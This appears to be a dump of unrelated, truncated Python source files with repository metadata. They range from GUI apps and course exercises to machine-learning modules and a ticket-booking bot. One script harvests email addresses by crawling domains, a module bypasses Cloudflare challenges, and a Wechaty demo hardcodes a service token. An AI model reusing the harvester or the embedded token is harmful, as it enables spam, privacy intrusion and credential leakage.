# Adapted from Violet Giraffes answer at # https://stackoverflow.com/questions/5821802/qspinbox-inside-a-qscrollarea-how-to-prevent-spin-box-from-stealing-focus-when from PyQt5 import QtWidgets, QtCore, QtGui class MousewheelProtector(QtCore.QObject): def eventFilter(self, obje, even): if type(even) == Q...
33.055556
124
0.626891
6cdaa78adcaddf7af10abaa10af2fbaa1c63dad0
753
py
Python
02_Python/classes.py
DaviNakamuraCardoso/Harvard-CS50-Web-Programming
afec745eede41f7b294c3ee6ebaff9ac042e5e4c
[ "MIT" ]
null
null
null
02_Python/classes.py
DaviNakamuraCardoso/Harvard-CS50-Web-Programming
afec745eede41f7b294c3ee6ebaff9ac042e5e4c
[ "MIT" ]
null
null
null
02_Python/classes.py
DaviNakamuraCardoso/Harvard-CS50-Web-Programming
afec745eede41f7b294c3ee6ebaff9ac042e5e4c
[ "MIT" ]
null
null
null
class Point(): def __init__(self, x, y): self.x = x self.y = y p = Point(2, 3) print(p.x) print(p.y) class Flight(): def __init__(self, capacity): self.capacity = capacity self.passengers = [] def add_passenger(self, name): if not self.open_seats(): ...
19.815789
62
0.579017
9f837b85955652257cec5f2164b2db6b6228c963
14,538
py
Python
research/audio/tacotron2/src/rnns.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/audio/tacotron2/src/rnns.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/audio/tacotron2/src/rnns.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
35.896296
93
0.509355
e2d026d1dd48ac5500371a2a1cd946ea15bf220c
212
py
Python
Union/2021/misc/ASMRNet/hparam.py
mystickev/ctf-archives
89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e
[ "MIT" ]
1
2021-11-02T20:53:58.000Z
2021-11-02T20:53:58.000Z
Union/2021/misc/ASMRNet/hparam.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
Union/2021/misc/ASMRNet/hparam.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
1
2021-12-19T11:06:24.000Z
2021-12-19T11:06:24.000Z
sr = 16000 nfft = 512 window = 0.025 hop = 0.01 nmels = 40 hidden = 768 num_layer = 3 proj = 256 model_path = './speech_id_checkpoint/final_epoch_950_batch_id_141.model'
21.2
72
0.59434
1a8adc67db462c767de8f8e57a1df71048b85107
2,713
py
Python
day31/main.py
nurmatthias/100DaysOfCode
22002e4b31d13e6b52e6b9222d2e91c2070c5744
[ "Apache-2.0" ]
null
null
null
day31/main.py
nurmatthias/100DaysOfCode
22002e4b31d13e6b52e6b9222d2e91c2070c5744
[ "Apache-2.0" ]
null
null
null
day31/main.py
nurmatthias/100DaysOfCode
22002e4b31d13e6b52e6b9222d2e91c2070c5744
[ "Apache-2.0" ]
null
null
null
from tkinter import * import pandas as p import random BACKGROUND_COLOR = "#B1DDC6" LANG_TO_LEARN = "französisch" LANG_TO_TRANS = "englisch" timer = None actual_word = None dictionary_lvl1 = p.read_csv("day31/data/french_words.csv").to_dict(orient="records") try: dictionary_lvl2 = p.read_csv("day31/data/frenc...
31.546512
97
0.716919
205320c8b184ffb0e7207e4f4ffa4e86fb933a21
2,622
py
Python
make_collage.py
Video-Captioning/Overview
5afb31db5d39ca0925cd07ba459f33ded05aed97
[ "BSD-3-Clause-Clear" ]
null
null
null
make_collage.py
Video-Captioning/Overview
5afb31db5d39ca0925cd07ba459f33ded05aed97
[ "BSD-3-Clause-Clear" ]
null
null
null
make_collage.py
Video-Captioning/Overview
5afb31db5d39ca0925cd07ba459f33ded05aed97
[ "BSD-3-Clause-Clear" ]
null
null
null
#!/usr/bin/env python3 # Example Usage: # python3 make_collage.py ~/VLC_stuff/frames/color/ labels_color_inceptionresnetv2.csv # python3 ../make_collage.py ~/VLC_stuff/frames/Whitman_v_Stanford/ labels_50_color_XCEPTION.csv # python3 ../make_collage.py ~/VLC_stuff/frames/Whitman_v_Stanford/ labels_30_color_XCEPTION.cs...
30.488372
96
0.619756
b3e55880099820688fefcfe4e8de42e36ed639f9
1,436
py
Python
Uebung3/Uebung3_Aufgabe7.py
B0mM3L6000/EiP
f68718f95a2d3cde8ead62b6134ac1b5068881a5
[ "MIT" ]
1
2018-04-18T19:10:06.000Z
2018-04-18T19:10:06.000Z
Uebung3/Uebung3_Aufgabe7.py
B0mM3L6000/EiP
f68718f95a2d3cde8ead62b6134ac1b5068881a5
[ "MIT" ]
null
null
null
Uebung3/Uebung3_Aufgabe7.py
B0mM3L6000/EiP
f68718f95a2d3cde8ead62b6134ac1b5068881a5
[ "MIT" ]
1
2018-04-29T08:48:00.000Z
2018-04-29T08:48:00.000Z
import random rnd = random.randint(0,10) #setzen der zufälligen zahl check = False #bedingung für die schleife des spiels selber check2 = False #bedingung für das ganze programm while check2 == False: #wird ausgeführt solange gespielt werden soll while check == False: #ein ratedurchgang check3...
41.028571
95
0.607242
b3f10f02ba0f9ee45a5619c81fc1d3486d0440e4
7,819
py
Python
bugmonitor.py
openSUSE-Team/betapizza
153d3323da10c081d190a15c1323f33cc69edcb7
[ "MIT" ]
null
null
null
bugmonitor.py
openSUSE-Team/betapizza
153d3323da10c081d190a15c1323f33cc69edcb7
[ "MIT" ]
null
null
null
bugmonitor.py
openSUSE-Team/betapizza
153d3323da10c081d190a15c1323f33cc69edcb7
[ "MIT" ]
null
null
null
import argparse import re import sqlite3 from imapclient import IMAPClient # IMAP parameters HOST = 'imap.gmail.com' USERNAME = 'X' PASSWORD = 'X' DBNAME = 'bugmonitor.db' # Evaluation constants NONE = 0 GOLD = 1 SILVER = 2 BRONZE = 3 def initdb(dbname): """Initialize the database, removing old data....
28.959259
113
0.504796
3738a391af360b13cb98b78df60c1e16e1ecb161
865
py
Python
authApp/views/createUserView.py
xlausae/Web-Service
fbc4b45f34fe5ac69d8da2ffe09e5c32046e27d5
[ "MIT" ]
null
null
null
authApp/views/createUserView.py
xlausae/Web-Service
fbc4b45f34fe5ac69d8da2ffe09e5c32046e27d5
[ "MIT" ]
1
2022-01-05T23:52:37.000Z
2022-01-05T23:52:37.000Z
authApp/views/createUserView.py
xlausae/Web-Service
fbc4b45f34fe5ac69d8da2ffe09e5c32046e27d5
[ "MIT" ]
null
null
null
from rest_framework import status, views from rest_framework.response import Response from rest_framework_simplejwt.serializers import TokenObtainPairSerializer from authApp.serializers.userSerializer import UserSerializer class UserCreateView(views.APIView): def post(s...
43.25
88
0.675145
45a0ba4c9892e7611af11abc7ffc33ac9fbd56cd
1,072
py
Python
server/server.py
critterandguitari/Organelle_Web
eb8692930127b0fa980722e3f1870893a4fbed7f
[ "BSD-3-Clause" ]
1
2017-09-22T21:16:32.000Z
2017-09-22T21:16:32.000Z
server/server.py
critterandguitari/Organelle_Web
eb8692930127b0fa980722e3f1870893a4fbed7f
[ "BSD-3-Clause" ]
null
null
null
server/server.py
critterandguitari/Organelle_Web
eb8692930127b0fa980722e3f1870893a4fbed7f
[ "BSD-3-Clause" ]
1
2019-10-20T17:28:47.000Z
2019-10-20T17:28:47.000Z
import cherrypy import imp import helpers import homepage import traceback APPS_PATH = '../apps/' # global config cherrypy.config.update({ 'environment': 'production', 'log.error_file': '/tmp/site.log', 'log.screen': True, 'server...
28.972973
95
0.612873
b33496300342ef7b6d81bc321b185cf4327dedb8
30
py
Python
year_3/databases_sem2_cw/dbwrapper/__init__.py
honchardev/KPI
f8425681857c02a67127ffb05c0af0563a8473e1
[ "MIT" ]
null
null
null
year_3/databases_sem2_cw/dbwrapper/__init__.py
honchardev/KPI
f8425681857c02a67127ffb05c0af0563a8473e1
[ "MIT" ]
21
2020-03-24T16:26:04.000Z
2022-02-18T15:56:16.000Z
year_3/databases_sem2_cw/dbwrapper/__init__.py
honchardev/KPI
f8425681857c02a67127ffb05c0af0563a8473e1
[ "MIT" ]
null
null
null
from manager import DbManager
15
29
0.866667
ff7dbb5bd8a2cc048be14c0fca323d438d7969c4
2,283
py
Python
Wechaty/wechaty_demo.py
TitusWongCN/WeChatRelativeTools
9307bae8c15e47b5bbf169a95a50be0d107a5bb1
[ "MIT" ]
null
null
null
Wechaty/wechaty_demo.py
TitusWongCN/WeChatRelativeTools
9307bae8c15e47b5bbf169a95a50be0d107a5bb1
[ "MIT" ]
null
null
null
Wechaty/wechaty_demo.py
TitusWongCN/WeChatRelativeTools
9307bae8c15e47b5bbf169a95a50be0d107a5bb1
[ "MIT" ]
null
null
null
import time import os import requests import asyncio from typing import Union from wechaty import ( Contact, Message, Wechaty, Room, ) os.environ['WECHATY_PUPPET']= 'wechaty-puppet-hostie' os.environ['WECHATY_PUPPET_HOSTIE_TOKEN'] = 'puppet_donut_25e31edab29faf7d' url = r'https://sc.ftqq.com/SCU108142T...
35.123077
143
0.660972
44471d8662c56b10d8f4888bf884390a15b8cef2
1,065
py
Python
Projekt/PrepareDataSet.py
Griizz/ComputerVisionPraktikum
30276eb0b039ea42728d7433c573414d2dfe1ec2
[ "MIT" ]
null
null
null
Projekt/PrepareDataSet.py
Griizz/ComputerVisionPraktikum
30276eb0b039ea42728d7433c573414d2dfe1ec2
[ "MIT" ]
null
null
null
Projekt/PrepareDataSet.py
Griizz/ComputerVisionPraktikum
30276eb0b039ea42728d7433c573414d2dfe1ec2
[ "MIT" ]
3
2019-11-17T01:33:07.000Z
2020-03-26T10:13:39.000Z
from os import walk from random import sample from shutil import copyfile def CopyRandom(source, destination, number, prefix): """ :param source: The path where to choose random file from :param destination: The path to save the chosen files at. :param number: The amount of files getting chosen randoml...
31.323529
98
0.644131
924178983719dcce7637e97f3bf045bc8e172ec1
4,769
py
Python
gui/GUIProcessor.py
MusicMemory/Ornithology_1.0
08ded140908ecc393218705fd588ceaf91e6b2c0
[ "Apache-2.0" ]
null
null
null
gui/GUIProcessor.py
MusicMemory/Ornithology_1.0
08ded140908ecc393218705fd588ceaf91e6b2c0
[ "Apache-2.0" ]
null
null
null
gui/GUIProcessor.py
MusicMemory/Ornithology_1.0
08ded140908ecc393218705fd588ceaf91e6b2c0
[ "Apache-2.0" ]
null
null
null
import pygame from pygame.rect import Rect black = (0, 0, 0) white = (255, 255, 255) red = (200, 0, 0) green = (0, 200, 0) alertbox_size = (300, 50) answer_height = 40 class GUIProcessor: def __init__(self, width, height, no_answers): self.screen = screen = pygame.display.set_mode((width, height)) ...
46.300971
145
0.662403
caac4ac7c9255b1b48df5920b1080a84ddc6373f
725
py
Python
exercises/es/test_01_12_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/es/test_01_12_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/es/test_01_12_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
def test(): assert ( len(pattern) == 2 ), "El patrón debería describir dos tokens (dos diccionarios)." assert isinstance(pattern[0], dict) and isinstance( pattern[1], dict ), "Cada entrada en el patrón debería ser un diccionario." assert ( len(pattern[0]) == 1 and len(pattern...
38.157895
74
0.61931
1bc0b4149696e96f762a5dd2625fa7cba7387218
351
py
Python
1_basics/1_kommentare.py
Coding-for-the-Arts/drawbot-samples
e37994f3497aca252312431100b53548b4573f15
[ "CC0-1.0" ]
null
null
null
1_basics/1_kommentare.py
Coding-for-the-Arts/drawbot-samples
e37994f3497aca252312431100b53548b4573f15
[ "CC0-1.0" ]
null
null
null
1_basics/1_kommentare.py
Coding-for-the-Arts/drawbot-samples
e37994f3497aca252312431100b53548b4573f15
[ "CC0-1.0" ]
null
null
null
""" Zwischen je drei Anführungszeichen können mehrere Zeilen stehen, die nicht ausgeführt werden. Das heisst «Kommentar» """ # Mit der Raute kannst du eine einzelne Zeile «deaktivieren». """ - Mit Kommentaren kannst du Notizen in deine Programme schreiben. - Mit Kommentaren kannst du Teile deines Programms deakti...
21.9375
61
0.766382
04997de9fca641305409592ba83a881809ec0637
3,373
py
Python
heatdrill/src/heatdrill_test.py
sogis/layerinfo_modules
a9afb391a407d9b835a5ceecb8a5140262a8f5a9
[ "MIT" ]
null
null
null
heatdrill/src/heatdrill_test.py
sogis/layerinfo_modules
a9afb391a407d9b835a5ceecb8a5140262a8f5a9
[ "MIT" ]
3
2020-01-09T10:39:38.000Z
2021-06-02T00:51:54.000Z
heatdrill/src/heatdrill_test.py
sogis/layerinfo_modules
a9afb391a407d9b835a5ceecb8a5140262a8f5a9
[ "MIT" ]
null
null
null
from .heatdrill import layer_info from .heatdrill import _testInit import unittest class TestLayerInfo(unittest.TestCase): SERVICE_URL: str = 'http://localhost:8080/service/' REQUEST_ID: str = 'requestId' TEXT_ROWS: str = 'infoTextRows' def test_success(self): _testInit(TestLayerInfo.SERVIC...
34.070707
124
0.661133
f3e1b0b466ddb5cea5300164e6cc43037b6990dc
4,555
py
Python
scripts/get-emails.py
evildrummer/1337-observer
621eb16711d9f70a59fb5524fc990dcab1004b14
[ "MIT" ]
1
2022-01-28T22:29:44.000Z
2022-01-28T22:29:44.000Z
scripts/get-emails.py
evildrummer/1337-observer
621eb16711d9f70a59fb5524fc990dcab1004b14
[ "MIT" ]
null
null
null
scripts/get-emails.py
evildrummer/1337-observer
621eb16711d9f70a59fb5524fc990dcab1004b14
[ "MIT" ]
1
2022-01-28T21:10:41.000Z
2022-01-28T21:10:41.000Z
# get emails from domains with crawling import requests requests.packages.urllib3.disable_warnings() import colorama from colorama import Fore import os import re from urllib.parse import urlparse from bs4 import BeautifulSoup colorama.init(autoreset=True) import argparse folder = os.path.dirname(__file__) visited_p...
32.535714
135
0.536773
6d0691b462b9e0d2efa2896d816c7370641f7a76
7,393
py
Python
Assets/Resources/Databases/PlanetaryData/HORIZONSDataCreator.py
camden-bock/verlet_simulation
74fc4962d143a0b4740129a0b6efaf4b33dadc76
[ "MIT" ]
null
null
null
Assets/Resources/Databases/PlanetaryData/HORIZONSDataCreator.py
camden-bock/verlet_simulation
74fc4962d143a0b4740129a0b6efaf4b33dadc76
[ "MIT" ]
null
null
null
Assets/Resources/Databases/PlanetaryData/HORIZONSDataCreator.py
camden-bock/verlet_simulation
74fc4962d143a0b4740129a0b6efaf4b33dadc76
[ "MIT" ]
null
null
null
from telnetlib import Telnet import io import datetime import re import xml.etree.cElementTree as ET def test2(): root = ET.Element("root") orbitRoot = ET.Element("root") bodyList = [b'199',b'299',b'399',b'301',b'499',b'401',b'402',b'599',b'501',b'502',b'503',b'504',b'699',b'601',b'602',b'603',b'604',b'605...
37.150754
304
0.498444
b6b2453d6ccbe2075de0db728d073abee7522915
716
py
Python
mysql_with_config/db_lib.py
MilovanTomasevic/stackoverflow
472d207cc839389ae877233bccacc4b27474c844
[ "MIT" ]
null
null
null
mysql_with_config/db_lib.py
MilovanTomasevic/stackoverflow
472d207cc839389ae877233bccacc4b27474c844
[ "MIT" ]
null
null
null
mysql_with_config/db_lib.py
MilovanTomasevic/stackoverflow
472d207cc839389ae877233bccacc4b27474c844
[ "MIT" ]
null
null
null
from mysql.connector import ( MySQLConnection as db, errorcode, Error ) class MySQLDataBase: def connection(self, db_config): try: print('Connecting to MySQL database...') conn = db(**db_config) print("Connection established.") return conn ...
28.64
76
0.555866
fcc43d4ea528661234ab904439c7ebd34a204c64
31
py
Python
lib/python3.5/abc.py
hwroitzsch/BikersLifeSaver
469c738fdd6352c44a3f20689b17fa8ac04ad8a2
[ "MIT" ]
1
2020-08-16T04:04:23.000Z
2020-08-16T04:04:23.000Z
lib/python3.5/abc.py
hwroitzsch/BikersLifeSaver
469c738fdd6352c44a3f20689b17fa8ac04ad8a2
[ "MIT" ]
5
2020-06-05T18:53:24.000Z
2021-12-13T19:49:15.000Z
lib/python3.5/abc.py
hwroitzsch/BikersLifeSaver
469c738fdd6352c44a3f20689b17fa8ac04ad8a2
[ "MIT" ]
null
null
null
/usr/local/lib/python3.5/abc.py
31
31
0.774194
1e6aea839b269d4d4aa08d3d451161edc5dbd722
920
py
Python
packages/watchmen-utilities/src/watchmen_utilities/__init__.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-utilities/src/watchmen_utilities/__init__.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-utilities/src/watchmen_utilities/__init__.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
from .array_helper import ArrayHelper from .datetime_helper import DateTimeConstants, DateTimeEncoder, get_current_time_in_seconds, get_day_of_month, \ get_day_of_week, get_half_year, get_month, get_quarter, get_week_of_month, get_week_of_year, get_year, is_date, \ is_date_or_time_instance, is_date_plus_format, is_da...
61.333333
116
0.863043
1ede384a53b9d254a35c65a1c3a5b157a22b5a92
4,563
py
Python
nz_crawl_demo/day5/12306.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
null
null
null
nz_crawl_demo/day5/12306.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
27
2020-02-12T07:55:58.000Z
2022-03-12T00:19:09.000Z
nz_crawl_demo/day5/12306.py
gaohj/nzflask_bbs
36a94c380b78241ed5d1e07edab9618c3e8d477b
[ "Apache-2.0" ]
2
2020-02-18T01:54:55.000Z
2020-02-21T11:36:28.000Z
#手动登录 #跳转到购票页面 #手动输入出发地 目的地 出发日期 然后找到查询按钮 点击 进入车次查询 #找到需要的车次 查看对应的席位是否还有余票 有 和数字 如果没有出现这两项 那么循环查询 #一旦出现了 点击 预订 按钮 #来到 预订界面 找到对应的乘客 点击复选框 自动点击提交订单按钮 #点击确认 按钮 就完成了 抢票 from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.by import By from seleni...
33.306569
119
0.582512
94bab558e67c26e84012f26ec0487311d3cfa949
3,870
py
Python
python_experiments/paper_figures/tkde/parsing_results/parse_dynamic_results_varying_e.py
RapidsAtHKUST/SimRank
3a601b08f9a3c281e2b36b914e06aba3a3a36118
[ "MIT" ]
8
2020-04-14T23:17:00.000Z
2021-06-21T12:34:04.000Z
python_experiments/paper_figures/tkde/parsing_results/parse_dynamic_results_varying_e.py
RapidsAtHKUST/SimRank
3a601b08f9a3c281e2b36b914e06aba3a3a36118
[ "MIT" ]
null
null
null
python_experiments/paper_figures/tkde/parsing_results/parse_dynamic_results_varying_e.py
RapidsAtHKUST/SimRank
3a601b08f9a3c281e2b36b914e06aba3a3a36118
[ "MIT" ]
1
2021-01-17T16:26:50.000Z
2021-01-17T16:26:50.000Z
from config import * from data_analysis.util.read_file_utils_updated import * from data_analysis.tkde_data_parsing.key_word_tags import * import json, re def bak(): inc_sr_time_ins = {5000: 828.2532715, 10000: 1583.839004, 15000: 2357.798905, 20000: 3135.9563235, 25000: 3902.367272} inc...
48.987342
120
0.607494
94d960870cf0a243a5f4b9177f982ce2a315f7a4
48,817
py
Python
Packs/PrismaCloudCompute/Integrations/PaloAltoNetworks_PrismaCloudCompute/PaloAltoNetworks_PrismaCloudCompute_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/PrismaCloudCompute/Integrations/PaloAltoNetworks_PrismaCloudCompute/PaloAltoNetworks_PrismaCloudCompute_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/PrismaCloudCompute/Integrations/PaloAltoNetworks_PrismaCloudCompute/PaloAltoNetworks_PrismaCloudCompute_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import pytest from collections import OrderedDict from PaloAltoNetworks_PrismaCloudCompute import ( PrismaCloudComputeClient, camel_case_transformer, fetch_incidents, get_headers, HEADERS_BY_NAME, get_profile_host_list, get_container_profile_list, get_container_hosts_list, get_profile_container_forensic_lis...
38.078783
120
0.442633
44e7cd5d8bded046d6bc871d81cbc628fcc16eca
1,791
py
Python
Controller/mqtt/CommandIO.py
th-nuernberg/ml-cloud
6d7527cbf6cceb7062e74dbc43d51998381aa6c8
[ "MIT" ]
null
null
null
Controller/mqtt/CommandIO.py
th-nuernberg/ml-cloud
6d7527cbf6cceb7062e74dbc43d51998381aa6c8
[ "MIT" ]
7
2020-07-19T03:29:21.000Z
2022-03-02T06:46:12.000Z
Controller/mqtt/CommandIO.py
th-nuernberg/ml-cloud
6d7527cbf6cceb7062e74dbc43d51998381aa6c8
[ "MIT" ]
null
null
null
from mqtt.MqttClient import MqttClient import uuid class CommandIO: topics = { "test": "ai/toController/<id>/test", "presence": "ai/controller/<id>", "progress_update": "ai/fromWorker/+/progress", "busy": "ai/fromWorker/+/busy", "config": "ai/toWorker/<workerId>/newJob", ...
34.442308
80
0.629816
7890eee76f45cd98d15e8877e03ab109f9e2af94
1,096
py
Python
x2paddle/project_convertor/pytorch/torch2paddle/distributed.py
usertianqin/X2Paddle
b554a8094ca3e255ef4bd2e80337222a35625133
[ "Apache-2.0" ]
559
2019-01-14T06:01:55.000Z
2022-03-31T02:52:43.000Z
x2paddle/project_convertor/pytorch/torch2paddle/distributed.py
usertianqin/X2Paddle
b554a8094ca3e255ef4bd2e80337222a35625133
[ "Apache-2.0" ]
353
2019-05-07T13:20:03.000Z
2022-03-31T05:30:12.000Z
x2paddle/project_convertor/pytorch/torch2paddle/distributed.py
usertianqin/X2Paddle
b554a8094ca3e255ef4bd2e80337222a35625133
[ "Apache-2.0" ]
241
2018-12-25T02:13:51.000Z
2022-03-27T23:21:43.000Z
# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appl...
37.793103
75
0.661496
eca818a5237c4e0e21a44dfa902d17799a8a4a90
7,908
py
Python
feedcrawler/flaresolverr.py
rix1337/FeedCrawler
6c104c39f1bd45e5d49c02c90bb8d9fd35f9709e
[ "MIT" ]
16
2021-04-06T07:37:18.000Z
2022-03-27T15:05:32.000Z
feedcrawler/flaresolverr.py
rix1337/FeedCrawler
6c104c39f1bd45e5d49c02c90bb8d9fd35f9709e
[ "MIT" ]
17
2021-06-09T10:37:49.000Z
2022-03-31T07:29:36.000Z
feedcrawler/flaresolverr.py
rix1337/FeedCrawler
6c104c39f1bd45e5d49c02c90bb8d9fd35f9709e
[ "MIT" ]
3
2021-05-22T13:49:57.000Z
2022-01-05T11:15:47.000Z
# -*- coding: utf-8 -*- # FeedCrawler # Projekt von https://github.com/rix1337 import codecs import functools import hashlib import pickle from json import loads from urllib.parse import urlencode import requests from requests import RequestException from feedcrawler import internal from feedcrawler.common import si...
37.657143
118
0.603819
17134187b468d53b2531d737e5be03afdfd05ac0
339
py
Python
BIZa/2014/Zyabko_A_A/Task_5_45.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
BIZa/2014/Zyabko_A_A/Task_5_45.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
BIZa/2014/Zyabko_A_A/Task_5_45.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
#Задача 5 ,Вариант 45. #Напишите программу, которая бы при запуске случайным образом отображала имя одного из четырех черепашек-ниндзя. #Зябко Антон #20.05.2016 import random print("Кто ты из черепашек-ниндзя") a=["Ты-Рафаэль","Ты-Донателло","Ты-Леонардо","Ты-Микелянджело"] print(random.choice(a)) input ("Нажмите E...
24.214286
112
0.758112
bdad024308f0b076c17aa3468dcce544d704a6b3
5,428
py
Python
AfA.py
DerGemeine/AfAPy
ab460c791e5020dc38719906e0a18d80f4bf3543
[ "MIT" ]
null
null
null
AfA.py
DerGemeine/AfAPy
ab460c791e5020dc38719906e0a18d80f4bf3543
[ "MIT" ]
null
null
null
AfA.py
DerGemeine/AfAPy
ab460c791e5020dc38719906e0a18d80f4bf3543
[ "MIT" ]
null
null
null
'''Imports''' import time import configparser '''Config''' config = configparser.ConfigParser() config.read('config.ini') #Volljahres Berechnung (VJB) also von Januar bis zum Juni. VJB = int(config['Monate']['VJB']) #Halbjahres Berechung (HJB) also von Juli bis zum Dezember. HJB = int(config['Monate']['HJB']) #Variab...
43.079365
164
0.716654
da9043623258034c392242123def0aba00b5e368
1,124
py
Python
models/payment_term.py
aroodooteam/aro_hr
bf26f026593493486b4b5c13b26b9b47b9fe3825
[ "BSD-2-Clause" ]
null
null
null
models/payment_term.py
aroodooteam/aro_hr
bf26f026593493486b4b5c13b26b9b47b9fe3825
[ "BSD-2-Clause" ]
null
null
null
models/payment_term.py
aroodooteam/aro_hr
bf26f026593493486b4b5c13b26b9b47b9fe3825
[ "BSD-2-Clause" ]
3
2017-09-11T08:02:11.000Z
2020-04-04T08:13:23.000Z
# -*- coding: utf-8 -*- from openerp import api, exceptions, fields, models, _ class PaymentTerm(models.Model): _name = "payment.term" _description = "Mode de Reglement" def _get_default_rate(self, cr, uid, arg, context=None): terms = self.search(cr, uid, [('employee...
40.142857
116
0.632562
e5df99da525831eb1d3ccc73c6af88e1bfe20994
434
py
Python
Algorithms/DynamicProgramming/Longest Increasing Subsequence/longest_increasing_subsequence_2.py
Nidita/Data-Structures-Algorithms
7b5198c8d37e9a70dd0885c6eef6dddd9d85d74a
[ "MIT" ]
26
2019-07-17T11:05:43.000Z
2022-02-06T08:31:40.000Z
Algorithms/DynamicProgramming/Longest Increasing Subsequence/longest_increasing_subsequence_2.py
Nidita/Data-Structures-Algorithms
7b5198c8d37e9a70dd0885c6eef6dddd9d85d74a
[ "MIT" ]
7
2019-07-16T19:52:25.000Z
2022-01-08T08:03:44.000Z
Algorithms/DynamicProgramming/Longest Increasing Subsequence/longest_increasing_subsequence_2.py
Nidita/Data-Structures-Algorithms
7b5198c8d37e9a70dd0885c6eef6dddd9d85d74a
[ "MIT" ]
19
2020-01-14T02:44:28.000Z
2021-12-27T17:31:59.000Z
def maximum(arr): m = arr[0] for i in range(len(arr)): m = max(m, arr[i]) return m def lis(arr): sequence = [1 for i in range(len(arr))] for i in range(1, len(arr)): for j in range(0, i): if arr[i] > arr[j]: sequence[i] = max(sequence[i], sequence[j]...
18.083333
63
0.529954
00747f6f27d40013e30cf18477ccbbf7826b0b69
764
py
Python
code/MatplotlibIntro.py
ju1-eu/pyAnfaenger
59440e99d69582ee2c7a022c8b819e7c78f41ac0
[ "MIT" ]
null
null
null
code/MatplotlibIntro.py
ju1-eu/pyAnfaenger
59440e99d69582ee2c7a022c8b819e7c78f41ac0
[ "MIT" ]
null
null
null
code/MatplotlibIntro.py
ju1-eu/pyAnfaenger
59440e99d69582ee2c7a022c8b819e7c78f41ac0
[ "MIT" ]
null
null
null
import matplotlib.pyplot as plt noten_jan = [56, 64, 78, 100] noten_ben = [86, 94, 98, 90] # Plot: Punkte verbinden # x, y plt.plot([1, 2, 3, 4], noten_jan, color="blue") plt.plot([1, 2, 3, 4], noten_ben, color="red") plt.legend(["Jan", "Ben"]) plt.xlabel("Fach") plt.ylabel("Note in %") plt.ti...
25.466667
50
0.613874
0099cafde8fc18d96c60ddbca6efa0f0803f08f4
2,305
py
Python
jburt/plot.py
jbburt/jburt
7745491214ef2b665ca8d1fc526bc802a36985ff
[ "MIT" ]
null
null
null
jburt/plot.py
jbburt/jburt
7745491214ef2b665ca8d1fc526bc802a36985ff
[ "MIT" ]
null
null
null
jburt/plot.py
jbburt/jburt
7745491214ef2b665ca8d1fc526bc802a36985ff
[ "MIT" ]
null
null
null
import pathlib from typing import Tuple from typing import Union import matplotlib import numpy as np from matplotlib import image as mpimg from matplotlib import pyplot as plt from .types import Numeric from .types import PathLike def aggregate(root_dir: PathLike, fname: str, figsize=(9, 9)): """ Create mu...
24.010417
82
0.594794
97577dfeac87f00a5099dfb4c6d4228128ca1f12
383
py
Python
leetcode/055-Jump-Game/JumpGame_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-04-07T15:08:53.000Z
2016-04-07T15:08:53.000Z
leetcode/055-Jump-Game/JumpGame_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-02-09T06:00:07.000Z
2016-02-09T07:20:13.000Z
leetcode/055-Jump-Game/JumpGame_001.py
cc13ny/all-in
